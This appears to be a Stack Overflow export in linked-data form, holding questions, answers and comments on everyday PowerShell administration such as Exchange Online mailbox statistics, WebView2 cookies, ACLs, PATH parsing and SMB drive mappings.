has answer: http://stackoverflow.com/a/79340004
downvote count: 0
has comment: http://stackoverflow.com/comment/139903347
answer count: 1
tagged with: exchange-online
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139901315
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139908435
has comment: http://stackoverflow.com/comment/139908434
favorite count: 0
has body: I am trying to sort LastLogonTime by descending order for users in my Exchange Online platform. Pulling up the users comes through just fine showing their display name and last logon time with the below code. Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime When I add the sort command: Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime | Sort LastLogonTime -Descending I am given this error on all accounts: Get-MailboxStatistics: Ex838C9A|Microsoft.Exchange.Configuration.Tasks.ManagementObjectAmbiguousException|The specified mailbox Identity:"sales" isn't unique. Not sure what is going on since the users are pulled just fine without the sort command. Any suggestions? I tried to sort lastlogontime by using the line, expecting the results to print in descending order of time: Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime | Sort LastLogonTime -Descending
has title: Sort LastLogonTime -Descending Gives Identity Error

http://stackoverflow.com/comment/140001647
type: Comment
has text: That is a LOT of code to replace a regex with. Hopefully it helps someone else. As an aside, I am not sure that not confirming to INI format with comments makes a file that is otherwise confirming an INI file. Just like if I use parts of a XML format, doesn't make it XML.
comment on: http://stackoverflow.com/a/79386724
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139996703
comment on: http://stackoverflow.com/a/79383590
type: AnswerComment
has text: YAY THANK YOU SO MUCH THIS WORKED! I will definitely work with 'Get-ChildItem' to help with future processing. You are a lifesaver and just saved me hours and hours of work! Thank you :)
type: Comment
score: 1

http://stackoverflow.com/comment/139836770
has text: You never defined `$upcssr` and `$checkupcssr` in your script block.. so what are you actually trying to return from there? Can you [edit] your post and show us some of the content of the log files?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286119

http://stackoverflow.com/comment/139820722
type: AnswerComment
type: Comment
score: 0
has text: @Daniel updated! I think the new version should be compliant with your suggestions :)
comment on: http://stackoverflow.com/a/79288500

http://stackoverflow.com/comment/140049575
has text: oh ok sorry my bad I didn't understand
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79407490

http://stackoverflow.com/a/79291649
has body: I found this command : gwmi Win32_PNPEntity | ? ClassGuid -eq '{4d36e978-e325-11ce-bfc1-08002be10318}' | % Name thanks to this answer.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79267719

rollingfileappender
tag name: rollingfileappender
type: Tag
tags question: http://stackoverflow.com/q/79393526

http://stackoverflow.com/a/79257887
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79256387
has body: As commented, inside an event handler like Add_Click({..}), the $_ automatic variable is NOT the printer you are iterating, but instead it is the EventArgs for the handler. In an Add_Click() event handler this would be an object describing the mouse click itself (position, left or right button, etc.) To keep the printer name nicely together with the corresponding button, I'd suggest storing this printername inside the button's own .Tag property: Try: $printers = Get-Printer | Select-Object -ExpandProperty Name # just the name. for short use (Get-Printer).Name $printersCount = @($printers).Count # Create buttons for each printer $buttonHeight = 40 $padding = 20 $yOffset = 60 # Start position for the first button $index = 1 # for the button text # your code does not show any reason for collecting the buttons in a variable $buttons, but # if you do need it, collect the array like below and do not use $buttons += $button $buttons = $printers | ForEach-Object { Write-Host "Creating button for printer: $_" # Debugging message to check printer name $button = [System.Windows.Forms.Button]::new() $button.Text = '{0}. {1}' -f $index++, $_ $button.Tag = $_ # store the printer name in the .Tag property $button.Location = [System.Drawing.Point]::new(10, $yOffset) $button.Size = [System.Drawing.Size]::new(260, $buttonHeight) $button.Add_Click({ # now, the button has the actual printername in its .Tag property $printerName = $this.Tag # for convenience Write-Host "Button clicked for printer: $printerName" # Debugging button click $global:printerChoice = $printerName # try $script: scope instead Write-Host "Printer selected: $global:printerChoice" # Verify the selection $printerForm.Close() }) $printerForm.Controls.Add($button) $yOffset += $buttonHeight + $padding # Increase Y position for next button $button # output the new object to be captured in variable $buttons } Of course, since I have now added only the printer Names (strings) in variable $printers instead of objects with …
has comment: http://stackoverflow.com/comment/139762075
has comment: http://stackoverflow.com/comment/139762030
type: Answer
has comment: http://stackoverflow.com/comment/139763354
downvote count: 0
has comment: http://stackoverflow.com/comment/139762665

http://stackoverflow.com/comment/139874900
score: 0
has text: Is this a Graph token? You could use `Get-AzAccessToken` or just `Connect-MgGraph` if so.
type: QuestionComment
comment on: http://stackoverflow.com/q/79320755
type: Comment

http://stackoverflow.com/q/79322475
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/66106927
upvote count: 1
has body: I'm working on a script to log in to an application using SAML2 authentication in WebView2 with the aim of using the cookie for REST-API requests from PowerShell. As a first step, I'm attempting to get cookies with GetCookiesAsync. But my script to test this method does not work. When I add GetCookiesAsync to the NavigationCompleted event, it does not complete. Below is the script I am using to test it. #Based on https://stackoverflow.com/questions/66106927/webview2-in-powershell-winform-gui #---------------------------------------------- #region Import the Assemblies #---------------------------------------------- [void][reflection.assembly]::LoadFile("$PSScriptRoot\assemblies\Microsoft.Web.WebView2.Winforms.dll") [void][reflection.assembly]::LoadFile("$PSScriptRoot\assemblies\Microsoft.Web.WebView2.Core.dll") [void][reflection.assembly]::Load('System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a') [void][reflection.assembly]::Load('System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089') #endregion Import Assemblies #---------------------------------------------- #region Generated Form Objects #---------------------------------------------- [System.Windows.Forms.Application]::EnableVisualStyles() $form1 = New-Object 'System.Windows.Forms.Form' $buttonRefresh = New-Object 'System.Windows.Forms.Button' $buttonGo = New-Object 'System.Windows.Forms.Button' $textbox1 = New-Object 'System.Windows.Forms.TextBox' [Microsoft.Web.WebView2.WinForms.WebView2] $webview = New-Object 'Microsoft.Web.WebView2.WinForms.WebView2' $webview.CreationProperties = New-Object 'Microsoft.Web.WebView2.WinForms.CoreWebView2CreationProperties' $webview.CreationProperties.UserDataFolder = $PSScriptRoot; $InitialFormWindowState = New-Object 'System.Windows.Forms.FormWindowState' #endregion Generated Form Objects #---------------------------------------------- # User Generated Script #---------------------------------------------- $fo…
answer count: 2
has answer: http://stackoverflow.com/a/79471029
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79439913
tagged with: webview2
type: Question
downvote count: 0
tagged with: powershell
has title: Using WebView2 and GetCookiesAsync with Powershell
tagged with: cookies
tagged with: authentication

http://stackoverflow.com/a/79488089
type: Answer
upvote count: 1
has body: Since I couldn't call PS 7.4 executable directly to execute a script, I implemented a convoluted work-around by calling PS5 script that would call PS7.4 to execute the script I want. To get the output of the script, I redirect it to a temp file and then read it in php. I will use this setup temporarily until I can figure out why I can't call PS 7.4 executable directly from php. php code shell_exec('powershell.exe -File C:\inetpub\ps5-calling7.ps1'); $output = "C:\\inetpub\\env_output.tmp"; ps5-calling7.ps1 Start-Process pwsh.exe -ArgumentList "C:\inetpub\env_output.ps1" -wait -RedirectStandardOutput "env_output.tmp";
score: 1
answers question: http://stackoverflow.com/q/79416673
accepted answer of: http://stackoverflow.com/q/79416673
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/79253851
type: Question
has comment: http://stackoverflow.com/comment/139754328
answer count: 1
accepted answer: http://stackoverflow.com/a/79253916
has title: How can I log the request headers of Invoke-MgRestMethod to inspect the Microsoft.Graph access token?
tagged with: powershell
has body: For debugging purposes, I want to inspect the access token obtained by calling Connect-MgGraph. As I don't see any direct support for this, I have tried to use Invoke-MgRestMethod to inspect to request headers (Authorization). However, the following call doesn't display the headers: Invoke-GraphRequest -Method Get -Uri /v1.0/me -Verbose How can I get hold of the access token? https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.authentication/invoke-mggraphrequest?view=graph-powershell-1.0
type: AnsweredQuestion
tagged with: azure
has answer: http://stackoverflow.com/a/79253916
tagged with: microsoft-graph-api
score: 0
has comment: http://stackoverflow.com/comment/139754390
has comment: http://stackoverflow.com/comment/139754342
has comment: http://stackoverflow.com/comment/139754293
has comment: http://stackoverflow.com/comment/139754385
tagged with: microsoft-graph-sdks

http://stackoverflow.com/q/79325773
downvote count: 0
type: AnsweredQuestion
tagged with: access-control
tagged with: powershell
upvote count: 1
tagged with: acl
accepted answer: http://stackoverflow.com/a/79327155
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79327155
type: Question
answer count: 1
has title: Read ACLs excluding the ownership information in Powershell 7
has body: I need to update permissions with adding, editing, and/or removing access rules from ACLs through Powershell. Normally, you would just do something like $MyACL = Get-Acl $MyACL.SetAccessRule($SomeNewAccessRule) Set-Acl -LiteralPath "My Path" -AclObject $MyACL The problem I have run in to is that the environment my code has to run in lacks the SeTakeOwnershipPrivilege and Get-Acl includes the ownership information. When I subsequently run Set-Acl it fails because it is trying to overwrite the current ownership info, even if it has not changed. I solved this with the following workaround: $MyAcl = (Get-Item).GetAccessControl("Access") ... This works because .GetAccessControl("Access") reads the ACL but excludes both the .Path and the .Owner properties and I can then use Set-Acl without a hitch. I just found that this no longer works in Powershell 7 and the same line instead throws: InvalidOperation: Method invocation failed because [System.IO.DirectoryInfo] does not contain a method named 'GetAccessControl'. It seems that Microsoft has removed this call from Powershell 7 and forward. I cannot seem to remove the .Owner property from a Get-Acl object either because it is read-only. How can I read ACLs excluding the .Owner property in Powershell 7?

http://stackoverflow.com/q/79335299
accepted answer: http://stackoverflow.com/a/79335731
has comment: http://stackoverflow.com/comment/139901623
tagged with: azure-devops
has comment: http://stackoverflow.com/comment/139901670
has answer: http://stackoverflow.com/a/79335731
has comment: http://stackoverflow.com/comment/139901962
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139901644
type: AnsweredQuestion
has title: Azure Template with a script can't find the script when the template is used in a different repo
tagged with: azure-pipelines-yaml
tagged with: azure-pipelines
tagged with: azure
has comment: http://stackoverflow.com/comment/139901683
has comment: http://stackoverflow.com/comment/139901631
score: 0
has comment: http://stackoverflow.com/comment/139901932
has body: I have an azure template that I want to reuse in different projects. One of the templates is using a script (also stored in that template project), but the pipeline job can't find the script. Any idea what route do I need to put in the template repo so other projects can find the script? So the code is the following, this is the azure template in the Templates Repo: &gt; templates/my-template.yaml --- steps: - task: PowerShell@2 displayName: Run Script task env: SYSTEM_ACCESSTOKEN: $(System.AccessToken) inputs: targetType: 'filepath' filePath: ./scripts/my-script.ps1 # Can't find the path And this is how I use it in the Project Repo: resources: ... - repository: mytemplates type: git name: MyTemplates ref: refs/heads/main ... stages: - stage: Test - jobs: - steps: - template: /templates/my-template.yaml@mytemplates
has comment: http://stackoverflow.com/comment/139901646
type: Question

http://stackoverflow.com/comment/139828282
type: Comment
score: 0
has text: ~~powershell doesn't have a "function" datatype~~ it does have one and it's `PSMethod`. Thank you for mentioning it and introducing `.Invoke()`. It helps a lot !!
type: AnswerComment
comment on: http://stackoverflow.com/a/79293814

http://stackoverflow.com/a/79364179
upvote count: 1
answers question: http://stackoverflow.com/q/79363438
downvote count: 0
has body: Two possibilities: one, you wish to know if a PDF is marked as being PDF/A. Two, you wish to verify the conformance to the standard of a file. For one, you can run cpdf -info in.pdf and look at the Subformats line. Or, if it suits, run cpdf -info-json in.pdf to get the same information in JSON format. Note that a file may claim conformance to multiple standards, e.g PDF/A and PDF/UA so you'll need to process the output of either of the above commands as if it is a list. For two above - actual verification - you can use the command line part of VeraPDF.
has comment: http://stackoverflow.com/comment/139961679
type: Answer
score: 1

http://stackoverflow.com/q/79295829
score: 1
type: Question
downvote count: 0
tagged with: powershell
answer count: 1
tagged with: write-host
type: AnsweredQuestion
upvote count: 1
accepted answer: http://stackoverflow.com/a/79295927
has body: This is my first try writing a PowerShell script I made this example to explain my problem: Write-Host -NoNewLine "`rthis-is-my-first-line" Start-Sleep -Milliseconds 1000 Write-Host -NoNewLine "`rSECONDLN" Start-Sleep -Milliseconds 500 Write-Host Output: SECONDLNmy-first-line but I want it to be SECONDLN only Problem: the previous printed line is longer than the new one Question: Is there a way to 'delete/replace' previous printed line? or how may I achieve this?
has title: PowerShell: -NoNewLine overlaps new-line with last-line
has answer: http://stackoverflow.com/a/79295927
favorite count: 0

http://stackoverflow.com/comment/139812098
type: AnswerComment
has text: In my answer I specifically cast $employeeNumber to [int], but I believe if you remove that and the cell is formatted as text "0001" in excel, `$excelPackage.Workbook.Worksheets[1].Cells[5, 1].Value` should return the string "0001". To be doubly sure you can replace [int] with [string] to force anything that looks like a number to string to preserve the value from Excel. When using `Import-Excel` there are some parameters available where you can specify -AsDate "column_name1", "column_name2" -AsText "column_name3", etc
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79283454

http://stackoverflow.com/comment/139845258
comment on: http://stackoverflow.com/a/79292277
has text: yes, I have double checked
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140012792
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79393526
score: 1
has text: OK, edited the original post

http://stackoverflow.com/comment/139972688
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79360943
has text: Jdweng, thank you very much for your input and advice. I have compared the logs with Entra sign in's and found the problem but not the solution. I can see logs dating back 30 days with Entra and noted some not present in my CSV from the powershell audit. When comparing this with a more broad audit as you suggested, it is only pulling 101 rows into Excel. I am trying various ways to expand past this and will communicate my solution if it's found.
type: QuestionComment

http://stackoverflow.com/comment/140019142
has text: You could [set up a file share to use as a local repository](https://learn.microsoft.com/en-us/powershell/gallery/how-to/working-with-local-psrepositories?view=powershellget-2.x#registering-a-local-repository), then package your script in a module, at which point fetch the latest version on any machine on the network with `Install-Module AnaonsLoggerModule` - now that you have a local copy of the module then you no longer need to dot-source it from the network share in each individual script
type: QuestionComment
comment on: http://stackoverflow.com/q/79396493
type: Comment
score: 0

http://stackoverflow.com/q/79404983
downvote count: 0
answer count: 1
tagged with: powershell
type: AnsweredQuestion
has title: How to `Import-Module` in PowerShell to parent session/process?
has comment: http://stackoverflow.com/comment/140034817
has body: I store imports for my favourite modules in a myFavMods.ps1: Import-Module a Import-Module b ... When running it like this the modules are not available in my session: &gt; ./myFavMods.ps1 &gt; funFromModuleA funFromModuleA: The term 'funFromModuleA' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. When running it using the . operator it works: &gt; . ./myFavMods.ps1 &gt; funFromModuleA Hurray this is funFromModuleA reporting! Is it possible to have funFromModuleA available regardless of how I execute my script? Is it possible to Import-Module -Scope 'GlobalGlobalAllTheWayUp'? What I know so far Profile I am aware of PowerShell profiles but I would like my favourite modules only available when imported explicitly. Make the script inspect how it's being executed I could use $MyInvocation.Line to check if the script is being invoke with a . but I would rather have it work always regardless of the way of invocation. Import-Module -Scope This can only be used to narrow down the scope to Local.
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79405121
score: 1
accepted answer: http://stackoverflow.com/a/79405121
type: Question

http://stackoverflow.com/q/79369963
has answer: http://stackoverflow.com/a/79370869
has comment: http://stackoverflow.com/comment/139968855
possible better answer: http://stackoverflow.com/a/79370869
answer count: 2
favorite count: 0
has body: I'm working on a Windows program that adds values to the PATH environment variable. The PATH variable is semi-colon (;) delimited, and any valid folder paths can be included. However, ; is valid in folder paths, so paths containing semicolons must be surrounded in double quotes when being added to path: C:\Program Files (x86);"C:\;My Folder";C:\Program Files To avoid this issue with semicolons, my program wraps all paths in double quotes. However, someone recently informed me that Powershell does not work with quoted values in the PATH variable, as it treats the quotes as ordinary characters: I looked at how PowerShell handles the Path variable (based on this code: PowerShell/PowerShell@16176ef/src/System.Management.Automation/engine/CommandDiscovery.cs#L1187-L1240). From what I can tell, PowerShell doesn't remove double quotes - it just splits paths wherever it sees a semicolon. So, the PATH value C:\Program Files (x86);"C:\;My Folder";C:\Program Files is wrongly interpreted like this (if I correctly understand what's going on): C:\Program Files (x86) "C:\ My Folder" C:\Program Files Here's a video demonstrating the behavior (this only occurs with Powershell, not with cmd): https://www.mediafire.com/file/aih2ky9fz07x5w0/powershellpathwithsemicolonsbug.mp4/file What is the best way for my program to deal with this? And, more pressingly, why does Powershell not work with PATH values that have quotes (even though CMD does)? Editing the path value to include semicolons using the manual way - Edit the system environment variables -> Path -> Edit - causes Windows to automatically wrap the required paths in quotes, breaking Powershell. So this isn't an issue with my program or situation - it's an inherent problem with how Powershell processes the PATH. Is this behavior intentional in Powershell? And is there a workaround, or will I have to compromise by either A. Wrapping paths that contain semicolons in quotes and allowing this buggy behavior to occur or B. not allowing …
score: 4
tagged with: windows
tagged with: path
type: Question
has title: Windows Semicolons in Path
upvote count: 4
downvote count: 0
linked to: http://stackoverflow.com/q/57493560
has answer: http://stackoverflow.com/a/79372760
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79372760
type: AnsweredQuestion
tagged with: split
tagged with: environment-variables

http://stackoverflow.com/comment/139932584
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79351325
has text: @thekevinkalis Difference is replacing `$ResourceId` value with **Object ID** of Microsoft Graph Enterprise Application. Anyway, glad to know it worked : )
type: Comment

http://stackoverflow.com/q/79271171
has comment: http://stackoverflow.com/comment/139785499
score: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139786117
has comment: http://stackoverflow.com/comment/139945655
type: UnansweredQuestion
has body: My apologies if this has been asked elsewhere. I cannot find any answer and am beginning to suspect I am looking at this incorrectly. I have been using PowerShell for some years, but have not really for to grips with it properly, so I am now trying. When I look at the following command(s); Get-Process | Where-Object {$_.WorkingSet -gt 100-MB} I understand the command and that is is getting the Where-Object command to examine the WorkingSet object and return any process using greater than 100MB, in this case. What I was finding difficult was getting a list of the objects that the Where-Object command can process/sort though. I now know these are coming from the Get-Process command by typing 'Get-Process | Get-Member', so I try this on a different command - Get-MSOLCompanyInformation and the Get-Member command lists all the Properties and Methods, so I try to use the Where-Object command to extract something useful; Get-MsolCompanyInformation | Where-Object postalcode This did not need a comparison operator and returned the address, phone number and other stuff. Brilliant. Then I thought lets try other properties. Of the ones I can get to return something successfully, like 'street', 'LastDirSyncTime', 'AllowAdHocSubscriptions', they all return the same. The ones that don't return anything is what is bugging me. If there is a property, I should be able to extract it and get Where-Object to return it. I have tried; Get-MsolCompanyInformation | where-object -property dapenabled -eq true Get-MsolCompanyInformation | where-object -property dapenabled Get-MsolCompanyInformation | where-object -property dapenabled -eq false None of these return anything, but don't give an error, so why can I not get output from ANY property of ANY command? I think there is something I am not getting. Anyone got any idea what I'm talking about?
has comment: http://stackoverflow.com/comment/139788911
tagged with: where-object
has title: Finding available objects in a command to parse to where-object
tagged with: properties
has comment: http://stackoverflow.com/comment/139786083
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139945623
has comment: http://stackoverflow.com/comment/139786088

http://stackoverflow.com/q/79277893
tagged with: powershell-core
accepted answer: http://stackoverflow.com/a/79278189
type: Question
has title: How can I read help documentation for operators like -replace in PowerShell?
has answer: http://stackoverflow.com/a/79278439
possible better answer: http://stackoverflow.com/a/79278439
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has body: I normally use the Get-Help cmdlet to read documentation for individual cmdlets, like: Get-Help -Name Connect-AzAccount But how can I read documentation for operators, like -replace? In bash, I would do help for - I'm looking for equivalent functionality in pwsh
score: 1
upvote count: 1
answer count: 2
favorite count: 0
has answer: http://stackoverflow.com/a/79278189

http://stackoverflow.com/comment/139904013
has text: It depends on how you want to handle that non terminating error, if you were to set `$ErrorActionPreference = 'Stop'` in `parent.ps1` and then try / catch it you would see that the origination error comes from `Child.ps1` in the error record `.ScriptStackTrace` property and also by looking at `.InvocationInfo.MyCommand.Source` you would see the same
score: 1
comment on: http://stackoverflow.com/q/79336435
type: QuestionComment
type: Comment

400-bad-request
tag name: 400-bad-request
tags question: http://stackoverflow.com/q/79301590
type: Tag

http://stackoverflow.com/q/79292103
score: 0
tagged with: windows
type: Question
answer count: 0
has body: I wrote a function that I use to invoke all of the Configuration Manager Actions on remote devices. I noticed that all of the configuration manager actions can be invoked in a similar manner except for "User Policy Retrieval & Evaluation Cycle", at the time I did some research and it seemed like it was working, but has since began to throw errors. When the script is iterating through the devices it always succeeds on the first device then fails on any following devices, but only for the User Policy Retrieval portion. If I try to run it locally/remotely on a single device it works fine. The error I am receiving: Cannot convert value "root\ccm\Policy\S_1_5_21_81564394_10899842_11037298_5564\ActualConfig:CCM_Scheduler_ScheduledMessage.ScheduledMessageID='{00000000-0000-0000-0000-000000000027}'" to type "System.Management.ManagementObject". Error: "Invalid namespace " Function for initializing CM Actions: Function Initialize-CMActions { Write-Host "`tInitializing Configuration Manager Actions." -ForegroundColor Yellow [System.Collections.ArrayList]$Actions = @( [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000121}";Name = "Application Deployment Evaluation Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000003}";Name = "Discovery Data Collection Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000001}";Name = "Hardware Inventory Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000021}";Name = "Machine Policy Retrieval & Evaluation Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000031}";Name = "Software Metering Usage Report Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000114}";Name = "Software Updates Deployment Evaluation Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000113}";Name = "Software Updates Scan Cycle"}, [PSCustomObject]@{ID = "{00000000-0000-0000-0000-000000000027}";Name = "User Policy Retrieval & Evaluation Cycle"}, [PSCustomObject]@{ID = "{00000000-…
tagged with: powershell
has title: Remotely invoke User Policy Retrieval & Evaluation Cycle and other Configuration Manager Actions
type: UnansweredQuestion
tagged with: configurationmanager

http://stackoverflow.com/comment/139982384
has text: I've removed my answer (which never fully explained your symptom anyway): I forgot that the old, broken way of passing arguments with embedded `"` is still being used in v7.3+ as well by default, due to [`$PSNativeCommandArgumentPassing`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Preference_Variables#psnativecommandargumentpassing)` defaulting to `'Legacy'`, where _batch files_ (among other executables) such as `az.cmd` retain the old behavior. Separately, I'm still curious why the double escaping is needed.
score: 0
comment on: http://stackoverflow.com/q/79375196
type: QuestionComment
type: Comment

process
tag name: process
tags question: http://stackoverflow.com/q/79245097
type: Tag
tags question: http://stackoverflow.com/q/79397722
tags question: http://stackoverflow.com/q/79374832
tags question: http://stackoverflow.com/q/79255264
tags question: http://stackoverflow.com/q/79493377

http://stackoverflow.com/q/79347202
has body: Does New-SmbGlobalMapping only work on a Windows server? If not, what am I doing wrong? I have a fileserver called DBF at home running Windows 11 24H2. There are several SMB read-only shares I've created to be consumed by network clients; things like \\DBF\Movies, \\DBF\Music, etc, etc. All these shares give access (and only read-only access) to only 1 user called NETFILES. Anyone on any other client computer wishing to access the shares need only connect with the NETFILES user and its password. This has been setup for years and works great. However, every user on every client pc needs to setup the connection. And there are a lot of users and a lot of pcs. In order to cut down on all the connection setup clutter, I would ideally like to set up one global connection per pc, so the users don't have to. Also, I'm creating some background scheduled tasks on client machines where it would be really handy if the network drives were "just automatically available" to the task without having to jump through hoops. I noticed PowerShell has a command called New-SmbGlobalMapping that says it can create a mapping that can be seen by all users on a machine. But I can't get it to work. To test, I logged in as my Manager user which is the local administrator on my machines. I then executed the following from a non-administrative PowerShell terminal: $usr = 'netfiles' $pwd = ConvertTo-SecureString -AsPlainText -Force 'the-password-for-this-user' $creds = New-Object System.Management.Automation.PSCredential ($usr, $pwd) New-SmbGlobalMapping -Credential $creds -RemotePath '\\DBF\Movies' -LocalPath 'M:' But I get an "Access Denied" error. New-SmbGlobalMapping : Access is denied. At line:1 char:1 I know the creds I'm supplying are absolutely correct so I guessed that maybe you can only run New-SmbGlobalMapping in an elevated state, so I re-opened the powershell terminal with elevation and tried again. This time it failed with a different error. New-SmbGlobalMapping : A specified logon s…
answer count: 1
has answer: http://stackoverflow.com/a/79347680
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139924601
has title: Does New-SmbGlobalMapping only work on a Windows server? If not, what am I doing wrong?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139924853
score: 1
upvote count: 1
favorite count: 0
tagged with: windows
type: Question
tagged with: smb
tagged with: network-programming
has comment: http://stackoverflow.com/comment/139924896

http://stackoverflow.com/comment/139801455
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79279207
score: 0
has text: added error in the question itself

http://stackoverflow.com/q/79298186
linked to: http://stackoverflow.com/q/68827239
answer count: 0
has comment: http://stackoverflow.com/comment/139835166
type: Question
downvote count: 0
duplicate of: http://stackoverflow.com/q/54789907
has comment: http://stackoverflow.com/comment/139835117
has title: Cyrillic letter 'т' in hash or list literals breaks the powershell (5.1) script
has comment: http://stackoverflow.com/comment/139835188
tagged with: powershell
upvote count: 1
has comment: http://stackoverflow.com/comment/139834629
type: UnansweredQuestion
score: 1
favorite count: 0
has body: Execution of powershell-5.1 script files that contains hash or list literals with cyrillic letter 'т' failed with errors. Similar question was there: Powershell choking on cyrillic т For example, this script (UTF-8 encoding) $dict = @{'т' = '123'} # or $list = 'z', 'т' echo 'Hello world' produces this error: At C:\xxx\test.ps1:1 char:19 + $dict = @{'С‚' = '123'} + ~ Missing '=' operator after key in hash literal. At C:\xxx\test.ps1:2 char:18 + echo 'Hello world' + ~ The string is missing the terminator: '. At C:\xxx\test.ps1:1 char:19 + $dict = @{'С‚' = '123'} + ~ The hash literal was incomplete. + CategoryInfo : ParserError: (:) [], ParseException + FullyQualifiedErrorId : MissingEqualsInHashLiteral Powershell info: Name Value ---- ----- PSVersion 5.1.17763.6640 PSEdition Desktop PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} BuildVersion 10.0.17763.6640 CLRVersion 4.0.30319.42000
has comment: http://stackoverflow.com/comment/139835209
linked to: http://stackoverflow.com/q/54789907

http://stackoverflow.com/a/79331669
type: AcceptedAnswer
downvote count: 0
has body: On Windows, Visual Studio Code uses PowerShell as the default shell, and PowerShell doesn't support input redirection via <. Thus, in your scenario you must specify a shell that does support <, notably cmd.exe. Unfortunately, there seems to be no way to specify the shell to use as part of given launch configuration in launch.json. Therefore, you have two options: Option A: Make Command Prompt (i.e., cmd.exe) the default shell profile, which by default determines both the shell to use interactively as well as - unless overridden (see below) - for automation operations, i.e. operations relating to launch (debug) configurations (launch.json) and tasks (tasks.json): Open the Settings view (Ctrl+,) and navigate to Terminal › Integrated › Default Profile: Windows; searching for default profile windows should be enough to locate it. Select Command Prompt from the dropdown list. Option B: More narrowly and therefore preferably, you can make cmd.exe the default shell for automation operations only: Open your settings.json file for editing as follows: From the command palette (select menu command View > Command Palette... or press Ctrl+Shift+P to open it), select command Preferences: Open User Settings (JSON); searching for user json should be enough to locate it. Add the following top-level property: "terminal.integrated.automationProfile.windows": { "path": "cmd.exe" }
type: Answer
score: 1
answers question: http://stackoverflow.com/q/79330357
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79330357

http://stackoverflow.com/q/79351371
has comment: http://stackoverflow.com/comment/139934253
downvote count: 0
tagged with: powershell-5.1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139958147
has comment: http://stackoverflow.com/comment/139935488
has body: Could anyone explain to me why the following code occasionally gives me an 'Index out of bounds' error in the Add-Member line? As far as I can see, there's no array involved in that line at all. [Obviously the full code does more, but this is an excerpt. Nothing is changed to $skus or $allusers before the Add-Member] $licinfo = [System.Collections.ArrayList]@() $skus = Get-MgSubscribedSku -all $allusers = get-mguser -Property userprincipalname foreach ($u in $allusers) { $obj = [pscustomobject][ordered]@{ upn = $u.userprincipalname } foreach ($sku in $skus) { $obj | Add-Member -MemberType NoteProperty -Name $sku.skuPartNumber -Value 0 } $licinfo.add($obj) | Out-Null } The error is: Index was outside the bounds of the array. At line:142 char:7 + $obj | Add-Member -MemberType NoteProperty -Name $sku.skuPartNu ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], IndexOutOfRangeException + FullyQualifiedErrorId : System.IndexOutOfRangeException ScriptStackTrace: at &lt;ScriptBlock&gt;, &lt;No file&gt;: line 142 System.IndexOutOfRangeException: Index was outside the bounds of the array. at lambda_method(Closure , Object[] , StrongBox`1[] , InterpretedFrame )
has title: Strange 'Index out of bounds' error in Powershell with Add-Member
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139939140
has comment: http://stackoverflow.com/comment/139933935
type: Question
has comment: http://stackoverflow.com/comment/139934413
has comment: http://stackoverflow.com/comment/139933554
has comment: http://stackoverflow.com/comment/139934262
has comment: http://stackoverflow.com/comment/139932565
answer count: 0
has comment: http://stackoverflow.com/comment/139958141
tagged with: powershell
has comment: http://stackoverflow.com/comment/139935726

http://stackoverflow.com/q/79256553
has answer: http://stackoverflow.com/a/79256640
has comment: http://stackoverflow.com/comment/139770224
tagged with: c#
linked to: http://stackoverflow.com/q/46714132
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: scriptblock
